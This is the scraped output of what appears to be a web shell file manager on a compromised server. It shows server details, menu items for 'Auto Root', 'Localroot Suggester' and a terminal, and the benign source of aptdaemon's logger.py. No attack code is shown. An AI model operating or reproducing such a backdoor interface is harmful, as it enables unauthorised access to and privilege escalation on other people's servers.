Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.216.250
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3 /
dist-packages /
aptdaemon /
Delete
Unzip
Name
Size
Permission
Date
Action
worker
[ DIR ]
drwxr-xr-x
2024-07-10 10:59
__init__.py
1.14
KB
-rw-r--r--
2014-08-21 12:56
client.py
73.34
KB
-rw-r--r--
2023-05-22 20:24
config.py
9
KB
-rw-r--r--
2014-08-21 13:10
console.py
29.89
KB
-rw-r--r--
2015-04-02 21:37
core.py
90.76
KB
-rw-r--r--
2023-05-22 20:24
crash.py
2.74
KB
-rw-r--r--
2023-05-22 20:24
debconf.py
6.24
KB
-rw-r--r--
2014-08-21 12:56
enums.py
32.34
KB
-rw-r--r--
2014-06-26 07:07
errors.py
7.29
KB
-rw-r--r--
2023-05-22 20:24
gtk3widgets.py
47.25
KB
-rw-r--r--
2023-05-22 20:24
lock.py
5.9
KB
-rw-r--r--
2023-05-22 20:24
logger.py
2.3
KB
-rw-r--r--
2013-06-30 06:19
loop.py
1.07
KB
-rw-r--r--
2014-08-21 12:56
networking.py
9.7
KB
-rw-r--r--
2023-05-22 20:24
policykit1.py
6.98
KB
-rw-r--r--
2023-05-22 20:24
progress.py
33.4
KB
-rw-r--r--
2023-05-22 20:24
utils.py
3.79
KB
-rw-r--r--
2023-05-22 20:24
Save
Rename
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Logging facilities for aptdaemon """ # Copyright (C) 2013 Sebastian Heinlein <devel@glatzor.de> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program; if not, write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. __author__ = "Sebastian Heinlein <devel@glatzor.de>" __all__ = ("ColoredFormatter") import logging import os # Define some foreground colors BLACK = 30 RED = 31 GREEN = 32 YELLOW = 33 BLUE = 34 MAGENTA = 35 CYAN = 36 WHITE = 37 # Terminal control sequences to format output RESET_SEQ = "\033[0m" COLOR_SEQ = "\033[1;%dm" BOLD_SEQ = "\033[1m" COLORS = { logging.WARN: YELLOW, logging.INFO: BLUE, logging.DEBUG: CYAN, logging.CRITICAL: RED, logging.ERROR: RED } class ColoredFormatter(logging.Formatter): """Adds some color to the log messages. http://stackoverflow.com/questions/384076/\ how-can-i-color-python-logging-output """ def __init__(self, fmt=None, datefmt=None, use_color=True): logging.Formatter.__init__(self, fmt, datefmt) if os.getenv("TERM") in ["xterm", "xterm-colored", "linux"]: self.use_color = use_color else: self.use_color = False def format(self, record): """Return the formated output string.""" if self.use_color and record.levelno in COLORS: record.levelname = (COLOR_SEQ % COLORS[record.levelno] + record.levelname + RESET_SEQ) record.name = COLOR_SEQ % GREEN + record.name + RESET_SEQ if record.levelno in [logging.CRITICAL, logging.ERROR]: record.msg = COLOR_SEQ % RED + record.msg + RESET_SEQ return logging.Formatter.format(self, record)